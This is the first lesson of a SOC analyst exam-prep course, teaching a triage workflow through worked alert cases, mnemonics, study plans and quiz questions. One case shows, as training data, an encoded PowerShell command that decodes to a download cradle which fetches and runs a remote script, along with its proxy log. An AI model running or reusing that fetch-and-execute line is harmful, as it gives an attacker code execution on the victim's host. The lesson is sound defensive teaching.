Free lesson 1: The Exam, the Analyst Workflow and Your Study Plan

An alert fires at 09:14: "Office application spawned encoded PowerShell". You have fifteen minutes before the next one lands in your queue. Is it malware, a macro an accountant has used for years, or a test by the red team? Analyst-level security exams are built around exactly this moment โ not around memorising port numbers, but around choosing the best next step with incomplete evidence. This lesson shows you what those exams test, gives you a repeatable triage workflow, walks through two fully solved alert cases and ends with a study plan you can start today.
- 12lessons, from logs to final exam strategy
- 6steps in the TRIAGE workflow you learn here
- 2alert cases solved end to end in this lesson
- ~20 minreading time for this lesson
What an analyst exam really tests
Most people start preparing for a security analyst exam by collecting facts: Windows event IDs, port numbers, the phases of incident response, the parts of a CVSS vector. You will need those facts, and this course gives you compact tables for all of them. But facts are only the raw material. The questions themselves are usually scenarios: a log excerpt, an alert, a short description of a company, and four plausible answers. Several answers are technically true. Only one is the best answer for the situation described, and the exam checks whether you can see why.
That is good news: the exam rewards the thinking a real Security Operations Centre (SOC) needs. A SOC analyst monitors telemetry, triages alerts, investigates what survives triage and hands confirmed incidents to response. The decisions are small and frequent: Is this alert real? What do I check first? Who needs to know? Is it time to contain, or do I need more evidence? If you practise making those decisions with a clear method, exam questions start to feel familiar instead of tricky.
The topics in this course overlap with analyst-level certifications such as CompTIA CySA+, EC-Council's Certified SOC Analyst and GIAC's intrusion-detection exams; we teach the shared, vendor-neutral body of knowledge rather than any single exam's blueprint.
Independent course, not affiliated with or endorsed by any exam provider. Exam objectives change โ always check the official objectives. We do not publish real exam questions.
All practice questions in this course are written by us, and every log excerpt is prepared training data using documentation IP ranges. Only analyse systems and logs you own or are explicitly authorised to investigate.
The question formats you should expect
Formats differ between exams and change over time; treat these as patterns, not promises:
- Single-answer scenario questions. "A SOC analyst notices โฆ Which of the following should the analyst do FIRST?" The scenario is short; the decisive detail is often one word.
- Evidence-reading questions. A firewall log, a process tree, a packet summary or a vulnerability scan report, followed by "What is the MOST likely explanation?" You must read fields accurately under time pressure.
- Performance-based or simulation items on some exams: ordering incident-response steps, matching indicators to techniques, or picking the lines in a log that prove compromise. They test whether you can apply the workflow, not only describe it.
The exam domains at a glance
Exams slice the field differently, but the same body of knowledge keeps appearing. Use this vendor-neutral map as a checklist: if you cannot explain a "what you must be able to do" cell in two sentences, that row deserves your study time.
| Domain | What you must be able to do | Lessons |
|---|---|---|
| Security monitoring | Read Windows, Linux and network logs; know what a SIEM does with them; recognise suspicious process, logon and traffic patterns; explain what EDR and Sysmon add. | 2, 3, 5, 6 |
| Threat intelligence | Tell IOCs from TTPs; use the Pyramid of Pain, Diamond Model, Cyber Kill Chain and MITRE ATT&CK to describe and prioritise attacker behaviour; respect sharing rules such as TLP. | 4 |
| Threat hunting | Turn a hypothesis into queries, use frequency stacking and baselines, and convert findings into new detections. | 10 |
| Vulnerability management | Read a CVSS vector, combine severity with exploitability and asset value, choose between patching, compensating controls and risk acceptance. | 7 |
| Incident response | Know the lifecycle phases and their order, follow and improve playbooks, choose proportionate containment, communicate with the right people. | 8 |
| Forensics basics | Respect the order of volatility, preserve integrity with hashes and chain of custody, know which artefacts answer which question. | 9 |
| Automation & reporting | Read simple Python and PowerShell, understand SOAR playbooks and their risks, write findings that a manager can act on. | 11, 12 |
The TRIAGE workflow: from alert to decision
Triage means sorting alerts by what they need: closing, tuning, deeper investigation or immediate escalation. Under exam pressure โ and on a busy shift โ you need a fixed order of work, so that you never skip a step that later turns out to matter. We use a six-step workflow with a deliberately easy name:
- T โ Take inread the whole alert: rule, host, user, time, raw event
- R โ Reproducefind the raw evidence behind the alert in the source log
- I โ Investigateenrich: user role, asset value, intel on hashes, IPs, domains
- A โ Assess scopesame indicator on other hosts, users or days?
- G โ Gradetrue, false or benign positive, plus a severity
- E โ Escalate or endhand over, contain per playbook, or close with notes
Two rules sit on top of the six steps. First, the raw event beats the alert title. A rule's name is somebody's summary of what it was meant to detect; the event shows what actually happened. Second, every step leaves a note. If you are interrupted, a colleague must be able to continue from your notes without repeating your queries.
Worked case 1: Office spawns encoded PowerShell
Scenario (training data, not a real incident). You work the morning shift for a mid-sized company. The SIEM raises a high-severity alert from a rule called Office child process โ encoded PowerShell for host WS-FIN-07, a finance workstation used by j.doe. Here is the alert as it reaches your queue:
{
"rule": "Office child process - encoded PowerShell",
"severity": "high",
"host": "WS-FIN-07",
"user": "EXAMPLE\\j.doe",
"time_utc": "2026-10-14T09:12:41Z",
"source": "Sysmon Event ID 1 (process creation)"
}
- Take in. Note the rule name, host, user, time in UTC and the data source. The source tells you where the raw evidence lives: Sysmon process-creation events on the endpoint, forwarded to the SIEM.
- Reproduce. Open the raw event behind the alert. Never grade an alert from its title alone.
- Investigate. Decode the command line, check what the process did on the network, and enrich the indicators.
- Assess scope. Search for the same parent-child pattern and the same destination across all hosts for the last seven days.
- Grade. Decide true, false or benign positive and assign a severity based on evidence and asset value.
- Escalate or end. Follow the playbook, write the ticket note and hand over.
Step 2 โ the raw event
The process-creation event (shortened to the fields that matter) looks like this:
UtcTime: 2026-10-14 09:12:41.337
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==
User: EXAMPLE\j.doe
IntegrityLevel: Medium
ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
ParentCommandLine: "WINWORD.EXE" /n "C:\Users\j.doe\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\Q7K2M1PZ\invoice_0923.docm" /o ""
Three details already raise the stakes. The parent is Word, and Word has no business starting PowerShell during normal invoice work. The document is a .docm โ a macro-enabled format โ opened from the Outlook attachment cache, so it arrived by email. And the PowerShell flags hide the activity: -nop skips the user profile, -w hidden hides the window and -enc passes the command as Base64.
Step 3 โ decode and enrich
PowerShell's -enc (short for -EncodedCommand) expects Base64 of UTF-16LE text, not of plain ASCII. That is why a plain base64 -d prints text with odd gaps between letters. On an analysis machine, decode it safely as text โ you are reading the command, not running it:
# Linux / macOS analysis box
echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==' \
| base64 -d | iconv -f UTF-16LE -t UTF-8; echo
# Windows PowerShell equivalent
$b = 'SQBFAFgAIAAo...ApAA==' # paste the full string
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b))
Expected output:
IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1')
This is a classic download cradle: fetch a script from a remote server and execute it directly in memory with IEX (Invoke-Expression), so that no script file needs to be written to disk. The question now is whether the download succeeded. The web proxy answers it:
2026-10-14T09:12:42Z 10.20.4.37 EXAMPLE\j.doe GET http://203.0.113.50/a.ps1 200 4211 text/plain "-"
The proxy returned 200 with 4,211 bytes, so the script was delivered. Note the empty user agent ("-"): Net.WebClient sends no User-Agent header unless the code sets one, so a workstation fetching a script with no user agent is itself a useful hunting lead. The destination is a bare IP with no domain name, over plain HTTP. Intel lookup on 203.0.113.50 and on the document's SHA-256 hash would follow next; in our scenario the hash is unknown to public sources, which proves nothing either way โ fresh phishing documents often are.
Step 4 โ scope
One infected host is an incident; ten are a campaign. Two searches over the last seven days answer the scope question. The syntax below is Splunk SPL; the same logic works in any SIEM query language:
index=sysmon EventCode=1 ParentImage="*\\WINWORD.EXE" Image="*\\powershell.exe" earliest=-7d
| stats count min(_time) as first max(_time) as last by host, user
index=proxy dest_ip="203.0.113.50" earliest=-7d
| stats count by src_ip, user, status
Example output for this scenario:
host user count first last
WS-FIN-07 EXAMPLE\j.doe 1 2026-10-14 09:12:41 2026-10-14 09:12:41
src_ip user status count
10.20.4.37 EXAMPLE\j.doe 200 1
10.20.4.52 EXAMPLE\p.marti 403 1
The second result is important. A second user, p.marti, also tried to reach the same IP, but the proxy blocked it with 403. That user very likely received the same email. The incident now has two affected people and one host with confirmed execution.
Steps 5 and 6 โ grade, map and hand over
Grade: true positive, high severity. The evidence chain is complete โ macro document from email, Word spawning hidden encoded PowerShell, a successful download from an external IP โ and the asset handles finance data. Mapped to MITRE ATT&CK, the behaviour reads: T1566.001 Spearphishing Attachment, T1204.002 User Execution: Malicious File, T1059.001 PowerShell, T1027 Obfuscated Files or Information and T1105 Ingress Tool Transfer.
The next step depends on your playbook and role. In most SOCs a first-line analyst escalates to the incident-response team and, where the playbook allows, triggers network isolation of the host through the EDR โ which cuts the attacker off but keeps the machine running, so memory evidence survives. Shutting down or reimaging the workstation immediately would destroy exactly that evidence. Blocking the IP at the proxy is useful but not sufficient: the script already ran.
[Ticket note โ 09:27 UTC]
Verdict: TRUE POSITIVE, severity HIGH (finance asset, confirmed execution)
Evidence: Sysmon EID1 09:12:41 WINWORD.EXE -> powershell -nop -w hidden -enc (decoded: IEX download cradle)
Proxy 09:12:42 GET http://203.0.113.50/a.ps1 -> 200, 4211 bytes, empty UA
Scope: WS-FIN-07 (executed); p.marti 10.20.4.52 attempt blocked (403) - same email likely
ATT&CK: T1566.001, T1204.002, T1059.001, T1027, T1105
Actions: EDR network isolation of WS-FIN-07 (playbook PB-07), host NOT powered off
Escalated to IR on-call; proxy block requested for 203.0.113.50
Open: email message ID + recipients, attachment hash sweep, what a.ps1 did
- 09:12:41 โ executionWord opens invoice_0923.docm from the Outlook cache and spawns hidden, encoded PowerShell.
- 09:12:42 โ payload deliveredThe proxy logs a successful download of a.ps1 from 203.0.113.50.
- 09:14 โ alert queuedThe SIEM correlation rule fires and the ticket is created.
- 09:16โ09:24 โ triageRaw event checked, command decoded, proxy and Sysmon searched for scope.
- 09:27 โ escalationHost isolated per playbook, incident handed to IR with a complete note.
Worked case 2: the impossible-travel alert that was benign
The second case trains the other half of triage: closing an alert correctly. A cloud identity alert reports "impossible travel" for m.keller: a sign-in from Basel at 07:58 UTC and another from an IP that geolocates to Amsterdam at 08:31 UTC. No one travels between those cities in 33 minutes.
| Field | Sign-in 1 | Sign-in 2 |
|---|---|---|
| Time (UTC) | 07:58:12 | 08:31:40 |
| Source IP | 192.0.2.44 (office ISP) | 198.51.100.20 |
| Device | LT-HR-112, compliant | LT-HR-112, compliant |
| MFA | Satisfied (app push) | Satisfied by token from earlier session |
| Client | Outlook desktop | Outlook desktop |
Reproduce: both sign-ins exist in the identity provider's raw log. Investigate: the second IP belongs to the egress range of the company's own VPN provider, documented in the network inventory; the device ID is the same managed laptop; MFA was satisfied; nothing else changed โ no new inbox rules, no new MFA methods, no unusual downloads. Asked through the agreed channel, the user confirms she connected to the VPN at 08:30.
Grade: the rule did exactly what it was built to do โ detect geographically distant sign-ins โ and the activity is legitimate. That makes it a benign true positive, not a false positive. The difference matters for tuning: a false positive means the detection logic is wrong; a benign true positive means the logic is right but needs context. The improvement here is to register the VPN egress ranges as a known location for this rule, with an owner and a review date, rather than to switch the rule off.
Attackers also use VPNs and proxies, and a stolen session token can make a sign-in look like it came from a known device. What made this case benign was not the VPN range alone, but the combination: documented egress IP, same managed device, MFA satisfied, no follow-up activity and confirmation through a trusted channel. Remove one of those and the verdict could change.
Exam angle: how triage questions are asked, and the traps
Analyst exams test the workflow above through a handful of recurring question shapes. Recognising the shape is half the answer.
| Keyword in the question | What it really asks | Typical trap |
|---|---|---|
| FIRST | The earliest correct step in the process, often validation or evidence preservation. | Picking the most effective action, which belongs later. |
| BEST | The option that solves the stated problem with the least collateral damage. | Picking a correct but incomplete action, such as blocking one IP. |
| MOST likely | The explanation that fits all the evidence shown. | An exotic attack that fits only part of the evidence. |
| NEXT | Where you are in the lifecycle right now, and the step after it. | Jumping two phases ahead, for example eradicating before containing. |
| Should NOT | The action that breaks a principle: destroying evidence, alerting the attacker, breaching policy. | Reading past the negation under time pressure. |
Apply that to case 1. A question might list: (A) reimage WS-FIN-07, (B) isolate WS-FIN-07 through the EDR and escalate, (C) block 203.0.113.50 on the firewall, (D) reset j.doe's password. All four are reasonable at some point. B is the best next step because it contains the threat while preserving evidence; A destroys memory evidence, C is incomplete because the code already ran, and D does not stop a process already running on the host.
Trap: "the most technical answer must be right"
Exam writers often add a sophisticated-sounding option โ memory forensics, reverse engineering the payload, a custom detection signature. Those are valuable, but rarely the first step for an analyst. If the scenario has not yet confirmed that the alert is real, validation beats deep analysis.
Trap: confusing severity with priority
A critical CVSS score describes how bad a vulnerability is in general. Priority also depends on whether it is exploited in the wild, whether the asset is exposed and how valuable it is. A "critical" finding on an isolated lab host can wait behind a "high" finding on an internet-facing payment server. Lesson 7 drills this.
Common thinking errors in triage
- Grading an alert from its rule name without opening the raw event.
- Treating "hash unknown to public intel" as proof the file is clean.
- Stopping at the first affected host instead of scoping the indicator.
- Calling every legitimate but alerted activity a false positive.
- Powering off a compromised machine "to be safe".
- Writing "suspicious activity, escalated" as the whole ticket note.
- Reproduce the alert in the source log and quote the decisive fields.
- Treat absence of intel as "no information"; judge behaviour.
- Search every indicator across hosts, users and at least several days.
- Separate false positives (broken logic) from benign true positives (missing context).
- Isolate on the network and preserve volatile evidence before any rebuild.
- Record verdict, evidence lines, scope, actions and open questions.
Beyond these, two deeper errors catch even experienced analysts. Anchoring: once you believe "this is the phishing campaign from yesterday", you stop noticing details that do not fit. Counter it by writing one alternative explanation before you grade. Alert fatigue: after fifty identical false positives, the fifty-first gets closed on reflex. Counter it by fixing noisy rules instead of tolerating them โ the tuning step is part of triage, not an optional extra.
Memory hooks for the exam
Many frameworks here are ordered lists, and exams check the order. These mnemonics are our own โ silly sticks better.
| What to remember | Order | Hook |
|---|---|---|
| Triage workflow | Take in, Reproduce, Investigate, Assess scope, Grade, Escalate/end | The word TRIAGE itself |
| NIST incident-response phases (SP 800-61 Rev. 2) | Preparation; Detection & Analysis; Containment, Eradication & Recovery; Post-Incident Activity | "Pilots Don't Crash Planes" |
| Cyber Kill Chain | Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command & Control, Actions on Objectives | "Rangers Wear Dark Ears In Cold Autumn" |
| Pyramid of Pain, bottom to top | Hash values, IP addresses, Domain names, network/host Artifacts, Tools, TTPs | "Hot Irons Damage Any Tidy Towel" |
| Diamond Model vertices | Adversary, Capability, Infrastructure, Victim | "A Cold Iced Vanilla" |
| Order of volatility (collect first to last) | CPU registers and cache, memory and network state, temporary files, disk, remote logs, archives | "Catch the fast things first" |
A note on the incident-response row: NIST published Revision 3 of SP 800-61 in 2025, which reorganises the guidance around the functions of the NIST Cybersecurity Framework 2.0. Many exams and study materials still use the four-phase lifecycle above, and some use the six-step variant Preparation, Identification, Containment, Eradication, Recovery, Lessons learned. Lesson 8 shows how they map onto each other, so neither version surprises you.
Your study plan: 4, 8 or 12 weeks
Choose the plan by your starting point, not by your ambition. If you already work in IT operations or a SOC, four focused weeks can be enough to fill the gaps. If logs and networks are new to you, give yourself eight to twelve. In every plan, practice questions start early โ answering questions is not the final step after learning, it is how you find out what you have not learned.
For people already working in IT or security, about 8โ10 hours per week.
Week 1: Lessons 1โ3 (workflow, logs, SIEM) plus the Lesson 12 cheat-sheet tables. Week 2: Lessons 4โ6 (intel, network, endpoint). Week 3: Lessons 7โ9 (vulnerabilities, incident response, forensics). Week 4: Lessons 10โ11, then the 30 practice questions and the final test; re-read only the lessons behind your wrong answers.
The default plan, about 5โ7 hours per week.
Weeks 1โ2: Lessons 1โ3, with daily ten-minute drills on event IDs and log fields. Week 3: Lessons 4โ5. Week 4: Lesson 6 and a first pass of the Lesson 12 questions as a diagnostic. Week 5: Lesson 7. Week 6: Lessons 8โ9. Week 7: Lessons 10โ11. Week 8: review weak areas, final test, rest the day before your exam.
For newcomers to logs and networking, about 4 hours per week.
Take two weeks for each of Lessons 2, 5 and 6, which carry the most technical detail, and one week each for the others. Build a personal glossary as you go and test yourself on it weekly. Use the last two weeks only for questions, the cheat sheets and the final test โ no new material.
How to study so it sticks
- Retrieve, do not re-read. Close the lesson and write down the five most important points from memory. The gaps you find are your next study block.
- Explain wrong answers in writing. For each practice question you miss, write one sentence on why the correct answer is better than the one you chose. Patterns appear quickly โ often the same trap three times.
- Space it out. Twenty minutes on five days beats two hours on one evening, especially for tables such as event IDs and ports.
Keep a one-page "decision sheet" during your preparation: for each lifecycle phase, the first thing you do and the thing you must never do. When a scenario question confuses you, ask which phase the organisation is in and look at your sheet. That habit alone resolves many "FIRST" and "NEXT" questions.
Check yourself: triage and exam basics
1. An alert titled "Mimikatz detected" fires on a server. What should the analyst do FIRST?
- Isolate the server and open a major incident
- Open the raw event behind the alert and verify what was detected
- Reset all domain administrator passwords
- Search threat-intel feeds for the tool name
Show answer
B โ the rule title is a summary; verification comes before containment. If the raw event confirms credential-dumping behaviour, isolation and escalation follow quickly โ but you need to know what you are escalating.
2. A "new admin account created" rule fires; the change ticket shows the IT team created the account in a planned change. How do you grade it?
- False positive
- Benign true positive
- True positive, high severity
- Not an alert, so no grade is needed
Show answer
B โ the rule correctly detected the activity it was built for; the activity was authorised. A false positive would mean the detection logic itself was wrong, for example matching an account that was not created at all.
3. Why does decoding powershell -enc with a plain base64 -d show letters separated by gaps?
- The command is encrypted, not encoded
- PowerShell encodes the command as UTF-16LE before Base64
- The attacker inserted null bytes for obfuscation
- Base64 always adds padding between characters
Show answer
B โ -EncodedCommand takes Base64 of UTF-16LE text, so every ASCII character is followed by a zero byte. Convert with iconv -f UTF-16LE or [Text.Encoding]::Unicode.
4. A workstation with confirmed malicious PowerShell is still online. Which action BEST balances containment and evidence?
- Pull the power cable
- Reimage it from the golden image
- Isolate it on the network through the EDR and keep it running
- Ask the user to log off and go home
Show answer
C โ network isolation stops further attacker communication while memory, running processes and network state remain available for responders.
5. In the Pyramid of Pain, which indicator type is hardest for an attacker to change once defenders detect it?
- File hashes
- IP addresses
- Domain names
- Tactics, techniques and procedures (TTPs)
Show answer
D โ changing a hash or IP is trivial; changing how you operate costs time and skill. That is why behaviour-based detections, like "Word spawns PowerShell", age better than IP blocklists.
6. During scoping you find a second user whose proxy request to the same IP was blocked with 403. What does this mean for the case?
- Nothing โ the block worked, so it can be ignored
- The second user very likely received the same lure and must be included in scope
- The proxy log is unreliable and should be discarded
- The first host was not really compromised
Show answer
B โ a blocked attempt is evidence of the same campaign reaching another person. Include the user and their mailbox in scope, even though no payload was delivered there.
You can nowโฆ
- Describe what analyst exams test โ scenario judgement built on a base of facts.
- Recognise question shapes โ FIRST, BEST, MOST likely, NEXT and "should NOT".
- Apply the TRIAGE workflow โ take in, reproduce, investigate, assess scope, grade, escalate or end.
- Decode an encoded PowerShell command โ and explain why UTF-16LE matters.
- Scope an indicator โ across hosts and users with two simple SIEM searches.
- Tell false, benign true and true positives apart โ and what each means for tuning.
- Choose containment that preserves evidence โ isolation before any rebuild.
- Write a ticket note โ verdict, evidence, scope, mapping, actions, open questions.
- Pick a study plan โ 4, 8 or 12 weeks, with practice questions from the start.
Glossary
What's next in this course
- Lesson 2 โ Logs & Telemetry: Windows, Linux and Network: the event IDs, log files and fields you must read fluently.
- Lesson 3 โ SIEM & Correlation: how parsing, normalisation and correlation rules turn events into alerts โ and how to tune them.
- Lesson 4 โ Threat Intelligence: IOCs, TTPs, Diamond Model, Kill Chain & ATT&CK: the frameworks exams use to describe attackers.
- Lesson 5 โ Network Monitoring & Traffic Analysis: flows, packet captures, DNS and beaconing patterns.
- Lesson 6 โ Endpoint Detection: EDR & Sysmon Concepts: process trees, persistence and the events that reveal them.
- Lesson 7 โ Vulnerability Management: CVSS, Prioritisation & Patch Cycles: from scan result to a defensible priority.
- Lesson 8 โ Incident Response Lifecycle & Playbooks: phases, containment choices and communication.
- Lesson 9 โ Digital Forensics Basics & Chain of Custody: volatility, integrity and the artefacts that answer questions.
- Lesson 10 โ Threat Hunting: hypotheses, stacking and turning hunts into detections.
- Lesson 11 โ Automation & Scripting for Analysts: SOAR playbooks and read-only Python and PowerShell.
- Lesson 12 โ Final Review & Exam Strategy: cheat-sheet tables, elimination technique and 30 practice questions.
Lessons 2โ12 and the 40-question final test unlock with a one-time purchase โ no subscription. Passing the final test earns a course completion certificate from Mobile Security Lab, which is not an industry certification.